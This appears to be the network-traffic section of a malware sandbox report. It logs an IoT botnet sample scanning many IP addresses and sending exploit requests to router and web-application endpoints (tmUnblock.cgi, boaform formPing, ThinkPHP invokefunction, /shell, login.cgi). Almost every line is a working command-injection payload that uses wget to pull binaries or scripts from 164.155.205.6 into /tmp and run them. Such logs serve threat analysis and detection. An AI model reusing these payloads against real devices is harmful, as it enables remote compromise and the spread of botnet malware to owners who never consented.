Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asuData Raw: Data Ascii:

Source: unknown	TCP traffic detected without corresponding DNS query: 95.51.22.32
Source: unknown	TCP traffic detected without corresponding DNS query: 95.170.107.32
Source: unknown	TCP traffic detected without corresponding DNS query: 95.120.96.125
Source: unknown	TCP traffic detected without corresponding DNS query: 95.52.53.140
Source: unknown	TCP traffic detected without corresponding DNS query: 95.57.172.115
Source: unknown	TCP traffic detected without corresponding DNS query: 95.185.220.68
Source: unknown	TCP traffic detected without corresponding DNS query: 95.220.97.188
Source: unknown	TCP traffic detected without corresponding DNS query: 95.71.168.70
Source: unknown	TCP traffic detected without corresponding DNS query: 95.163.204.203
Source: unknown	TCP traffic detected without corresponding DNS query: 95.42.103.122
Source: unknown	TCP traffic detected without corresponding DNS query: 95.240.107.118
Source: unknown	TCP traffic detected without corresponding DNS query: 95.101.0.120
Source: unknown	TCP traffic detected without corresponding DNS query: 95.206.59.186
Source: unknown	TCP traffic detected without corresponding DNS query: 95.128.55.80
Source: unknown	TCP traffic detected without corresponding DNS query: 95.24.220.10
Source: unknown	TCP traffic detected without corresponding DNS query: 95.223.25.26
Source: unknown	TCP traffic detected without corresponding DNS query: 95.137.89.241
Source: unknown	TCP traffic detected without corresponding DNS query: 95.151.108.205
Source: unknown	TCP traffic detected without corresponding DNS query: 95.239.233.42
Source: unknown	TCP traffic detected without corresponding DNS query: 95.116.124.173
Source: unknown	TCP traffic detected without corresponding DNS query: 95.157.160.97
Source: unknown	TCP traffic detected without corresponding DNS query: 95.161.0.108
Source: unknown	TCP traffic detected without corresponding DNS query: 95.117.130.206
Source: unknown	TCP traffic detected without corresponding DNS query: 95.33.42.56
Source: unknown	TCP traffic detected without corresponding DNS query: 95.128.21.214
Source: unknown	TCP traffic detected without corresponding DNS query: 95.65.250.186
Source: unknown	TCP traffic detected without corresponding DNS query: 95.213.230.191
Source: unknown	TCP traffic detected without corresponding DNS query: 95.247.163.101
Source: unknown	TCP traffic detected without corresponding DNS query: 95.74.88.197
Source: unknown	TCP traffic detected without corresponding DNS query: 95.82.141.248
Source: unknown	TCP traffic detected without corresponding DNS query: 95.205.34.7
Source: unknown	TCP traffic detected without corresponding DNS query: 95.197.232.66
Source: unknown	TCP traffic detected without corresponding DNS query: 95.105.43.37
Source: unknown	TCP traffic detected without corresponding DNS query: 95.83.127.110
Source: unknown	TCP traffic detected without corresponding DNS query: 95.15.63.181
Source: unknown	TCP traffic detected without corresponding DNS query: 95.115.116.48
Source: unknown	TCP traffic detected without corresponding DNS query: 95.136.134.50
Source: unknown	TCP traffic detected without corresponding DNS query: 95.113.195.200
Source: unknown	TCP traffic detected without corresponding DNS query: 95.231.25.57
Source: unknown	TCP traffic detected without corresponding DNS query: 95.7.152.181
Source: unknown	TCP traffic detected without corresponding DNS query: 95.79.38.192
Source: unknown	TCP traffic detected without corresponding DNS query: 95.216.232.167
Source: unknown	TCP traffic detected without corresponding DNS query: 95.238.129.60
Source: unknown	TCP traffic detected without corresponding DNS query: 95.52.152.61
Source: unknown	TCP traffic detected without corresponding DNS query: 95.75.37.74
Source: unknown	TCP traffic detected without corresponding DNS query: 95.255.24.50
Source: unknown	TCP traffic detected without corresponding DNS query: 95.75.239.70
Source: unknown	TCP traffic detected without corresponding DNS query: 95.209.40.12
Source: unknown	TCP traffic detected without corresponding DNS query: 95.186.121.214
Source: unknown	TCP traffic detected without corresponding DNS query: 95.151.165.117

Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /boaform/admin/formPing?target_addr=;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://164.155.205.6/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://164.155.205.6/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: hacked-by-matrix
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+ 164.155.205.6/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1User-Agent: hacked-by-matrixHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET Data Raw: Data Ascii:
